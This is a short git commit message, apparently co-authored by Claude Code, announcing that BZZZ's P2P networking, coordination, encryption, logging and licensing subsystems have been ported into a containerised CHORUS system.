Complete BZZZ functionality port to CHORUS
🎭 CHORUS now contains full BZZZ functionality adapted for containers Core systems ported: - P2P networking (libp2p with DHT and PubSub) - Task coordination (COOEE protocol) - HMMM collaborative reasoning - SHHH encryption and security - SLURP admin election system - UCXL content addressing - UCXI server integration - Hypercore logging system - Health monitoring and graceful shutdown - License validation with KACHING Container adaptations: - Environment variable configuration (no YAML files) - Container-optimized logging to stdout/stderr - Auto-generated agent IDs for container deployments - Docker-first architecture All proven BZZZ P2P protocols, AI integration, and collaboration features are now available in containerized form. Next: Build and test container deployment. 🤖 Generated with [Claude Code](https://claude.ai/code) Co-Authored-By: Claude <noreply@anthropic.com>
